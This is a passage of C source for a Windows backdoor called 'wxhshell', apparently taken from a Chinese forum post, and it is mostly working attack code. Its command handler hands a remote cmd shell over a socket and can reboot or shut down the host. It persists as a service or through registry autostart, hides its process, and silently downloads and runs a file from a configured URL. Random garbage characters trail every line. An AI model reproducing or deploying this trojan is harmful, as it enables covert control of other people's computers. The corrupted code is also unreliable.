  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `^4>^  
  } Ga/\kO)x_  
  else { ;@;ie8H  
1'._SMP  
    switch(cmd[0]) { E9+O\"e9  
  zdQu%q  
  // 帮助 CIs1*:Q9  
  case '?': { *ytd.^@r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vm%ux>}  
    break; ~a0}  
  } !5 :1'$d]H  
  // 安装 Fl|&eO,e  
  case 'i': { $S-;M0G x  
    if(Install()) =.2cZwxX$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sT T455h)  
    else Mm[1Z;H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Spw=+z<<Ub  
    break; .6-o?=5  
    } VH1c)FI  
  // 卸载 Ta5iY }  
  case 'r': { )k<~}wvQ0  
    if(Uninstall()) RBojT   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \\pyu]z  
    else !urd $Ta  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T%vbD*nt.  
    break; vWU4ZBT8G  
    } #3ro?w  
  // 显示 wxhshell 所在路径 {qdhp_~^l  
  case 'p': { 3ncvM>~g  
    char svExeFile[MAX_PATH]; MvwJ(3  
    strcpy(svExeFile,"\n\r"); `pS)q x.a  
      strcat(svExeFile,ExeFile); JM4`k8mM  
        send(wsh,svExeFile,strlen(svExeFile),0); -Ce4px?3  
    break; &ZFAUE,[  
    } &7nfTc  
  // 重启 T#;*I#A:  
  case 'b': { X{5DPhB,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0r&9AnnWu+  
    if(Boot(REBOOT)) 3 AF]en  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWT&`m_(2  
    else { .T>}O0L"  
    closesocket(wsh); ?)<XuMh  
    ExitThread(0); 9&FV =}MO  
    } 7I3CPc$  
    break; Nm.>C4  
    } +>%+r  
  // 关机 H%%nB  
  case 'd': { =_:L wmI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UR=s{nFd  
    if(Boot(SHUTDOWN)) HcUz2Rm5XP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'a[|}nJ3  
    else { 2g545r.  
    closesocket(wsh); +Y[+2=lO  
    ExitThread(0); i^KYZ4/%  
    } ?b$zuJ]  
    break; \gXx{rLW  
    } $q+`GXc-  
  // 获取shell 1/BMs0 =  
  case 's': { 9m9=O&C~-<  
    CmdShell(wsh); ]V("^.~$+C  
    closesocket(wsh); LK5H~FK  
    ExitThread(0); ml 2z  
    break; K)@Buu&,p  
  } B.WkHY%/  
  // 退出 <\mc|p"  
  case 'x': { dG$0d_Pq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qq`\C0RZ  
    CloseIt(wsh); Oei2,3l,?  
    break; 8PS:yBkA|  
    } 0G 1o3[F  
  // 离开 Al]9/ML/m  
  case 'q': { ?@(H. D6'v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o>tT!8rH  
    closesocket(wsh); \LXC269  
    WSACleanup();  8[OiG9b  
    exit(1); ufPQ~,.  
    break; 4Pdk?vHK;  
        } OK}"|:hrd  
  } QD~ `UJe>  
  } b1o(CG(}*  
b2%[9) "I.  
  // 提示信息 KJfyh=AD(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0xcqX!(  
} PBv43uIL  
  } xw H`alu  
x6tY _lzJ  
  return; 7:%K-LeaQu  
} <,C})H?  
I:"`|eHxv  
// shell模块句柄 D ]eF3a.G  
int CmdShell(SOCKET sock) Nb1lawC  
{ Mw. +0R!T  
STARTUPINFO si; u{,^#I}  
ZeroMemory(&si,sizeof(si)); ^S|^1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H!u:P?j@\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dr o42#$Mo  
PROCESS_INFORMATION ProcessInfo; 5 S& >9l  
char cmdline[]="cmd"; ;|y,bo@sJJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ffVYlNQ7L  
  return 0; *1n:  
} cD6o8v4] ]  
BKEB,K=K@  
// 自身启动模式 2<|5zF  
int StartFromService(void) ~k 3r$e@  
{ *79<ypKG$  
typedef struct CmZ?uo+Y  
{ Me>'QVr  
  DWORD ExitStatus; 6z*L9Vy($  
  DWORD PebBaseAddress; e1-=|!U7#  
  DWORD AffinityMask; 3a0C<hW  
  DWORD BasePriority; z6qC6Ck|  
  ULONG UniqueProcessId; 4$"Lf'sH6  
  ULONG InheritedFromUniqueProcessId; eC-TZH@  
}   PROCESS_BASIC_INFORMATION; 8] *{ i  
A UK7a  
PROCNTQSIP NtQueryInformationProcess; V1G]LM  
,3j*D+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e|LXH/H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1"k@O)?JP  
a lR}|ez  
  HANDLE             hProcess; "n:9JqPb  
  PROCESS_BASIC_INFORMATION pbi; {IVqV6:  
A@] n"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AN;?`AM;  
  if(NULL == hInst ) return 0; ^ =ikxZyO  
){} #v&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1\p[mN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [F%\1xh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *Pl[a1=o  
3,?y !  
  if (!NtQueryInformationProcess) return 0; yBoZ@9Do  
jd{J3s '%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5c#L6 dA)  
  if(!hProcess) return 0; 8yo9$~u;  
=aCv Xa&,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  4Zq5  
ICi- iX  
  CloseHandle(hProcess); &}FYz8w 2/  
 JeA}d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G\ofg  
if(hProcess==NULL) return 0; #FcYJH  
~-6;h.x=  
HMODULE hMod; e:l 6;  
char procName[255]; ObCwWj^qO  
unsigned long cbNeeded; m^7pbJ\|  
SnqLF /d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4c% :?H@2  
^c5(MR7LD  
  CloseHandle(hProcess); uxcj3xE#d  
86_Zh5:  
if(strstr(procName,"services")) return 1; // 以服务启动 EW`3h9v~  
1/n3qJyx2}  
  return 0; // 注册表启动 rLnu\X=h$  
} & mWq'h  
R[V%59#{Z  
// 主模块 NF.SGga  
int StartWxhshell(LPSTR lpCmdLine) pUmB h  
{ x83XJFPWL  
  SOCKET wsl; 5E@V@kw  
BOOL val=TRUE; W+#?3s[FV  
  int port=0; CtfSfSAUuu  
  struct sockaddr_in door; Qhr:d`@^]  
1.!(#I3  
  if(wscfg.ws_autoins) Install(); ~`BOz P  
8,R]R=  
port=atoi(lpCmdLine); BYY>;>V  
LOA 90.D  
if(port<=0) port=wscfg.ws_port; vfjIpg%i  
1pn167IQL  
  WSADATA data; QV't+)uUVo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7+ysE  
._yr7uY[M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V7^?jck  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zx!1jS  
  door.sin_family = AF_INET; O<Kr6+ -  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f`cz @  
  door.sin_port = htons(port); NlDM/  
]}B&-Yp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,&k 5Qq  
closesocket(wsl);  }QI*Ns  
return 1; '!0CwZ 7  
} $^l=#tV  
-L[K1;Xv"  
  if(listen(wsl,2) == INVALID_SOCKET) { KGJB.<Be  
closesocket(wsl); D|S)/o6  
return 1; G'("-9  
} FYj3! H  
  Wxhshell(wsl); t _W |`  
  WSACleanup(); #Y:/^Q$_qS  
q^Z\V?  
return 0; ZTun{Dw{  
~}5(J,1!  
} ,lUo@+  
&sRyM'XI  
// 以NT服务方式启动 c:iMbJOn#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b:JOR@O  
{ C+iP @~  
DWORD   status = 0; $~-j-0 \m  
  DWORD   specificError = 0xfffffff; @@$ _TaI  
rfZA21y{?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {> }U>V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D^u{zZy@e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 51&T`i  
  serviceStatus.dwWin32ExitCode     = 0; spI{d!c  
  serviceStatus.dwServiceSpecificExitCode = 0; !F8 !]"*  
  serviceStatus.dwCheckPoint       = 0; fx|9*|E  
  serviceStatus.dwWaitHint       = 0; 3ZVfZf  
Hy6Np62  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @!S$gTz  
  if (hServiceStatusHandle==0) return; ^J G}|v3$  
*vb)d0}P  
status = GetLastError(); hi=U  
  if (status!=NO_ERROR) "gO5dZ\0  
{ Xu$*ZJ5w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l ghzd6  
    serviceStatus.dwCheckPoint       = 0; w7C=R8^  
    serviceStatus.dwWaitHint       = 0; $@x kKe"  
    serviceStatus.dwWin32ExitCode     = status; E% 'DIs  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,i|f8pZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HfF$>Z'kM  
    return; 3)ip@29F  
  } D%A-& =  
K?>&Mr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Ls36E8f=  
  serviceStatus.dwCheckPoint       = 0; DkIkiw{L  
  serviceStatus.dwWaitHint       = 0; N7_Co;#(zK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _H,RcpyJ  
} Wama>dy%  
*" )[Srbg  
// 处理NT服务事件,比如:启动、停止 $CmTsnR1#y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wnX6XyUH  
{ A3n"zxU  
switch(fdwControl) r$7rYxFR  
{ %9lxE[/  
case SERVICE_CONTROL_STOP: +M*a.ra0OF  
  serviceStatus.dwWin32ExitCode = 0; H,}?YW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X]!@xlwF\  
  serviceStatus.dwCheckPoint   = 0; 8n)Q^z+ K  
  serviceStatus.dwWaitHint     = 0; D6t]E)FH  
  { UXP;'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yi OF&  
  } -AE/,@\P  
  return; El%(je,|  
case SERVICE_CONTROL_PAUSE: _X[c19q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k-U/x"Pl  
  break; DkIF vsLK  
case SERVICE_CONTROL_CONTINUE: xpM~* Gpm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pz 'Hqvd  
  break; b<n)`;  
case SERVICE_CONTROL_INTERROGATE: 0u_'(Z-^2  
  break; .kIf1-(<U  
}; 7r>W r#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d%hA~E1rR  
} V'.|IuN  
#k)\e;,X  
// 标准应用程序主函数 E`|qFG<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X\%3uPQ  
{ bRp[N  
fm0 (  
// 获取操作系统版本 ]@YQi<d2^  
OsIsNt=GetOsVer(); Vd4osBu{fY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #pfosC[  
1*h7L<#|mQ  
  // 从命令行安装 GHY>DrXO1u  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;^]A@WN6_  
639k&"V  
  // 下载执行文件 1tdCzbEn+  
if(wscfg.ws_downexe) { k 9rnT)YU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7krA+/Qr(  
  WinExec(wscfg.ws_filenam,SW_HIDE); qgNK!(kWpr  
} OB22P%  
DlI5} Jh  
if(!OsIsNt) { '9@R=#nd  
// 如果时win9x,隐藏进程并且设置为注册表启动 E6M: ^p*<  
HideProc(); `@7tWX0  
StartWxhshell(lpCmdLine); @XC97kGWp  
} N&=2 /  
else _+iz?|U  
  if(StartFromService()) LnS >3$t*  
  // 以服务方式启动 lvi:I+VgA  
  StartServiceCtrlDispatcher(DispatchTable); mNoqs&UB  
else 8 -A7  
  // 普通方式启动 <>_Wd AOuD  
  StartWxhshell(lpCmdLine); +;;%Atgn  
B_glyC  
return 0; 2]=I'U<E!  
}
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只看该作者 1 发表于: 2006-10-10
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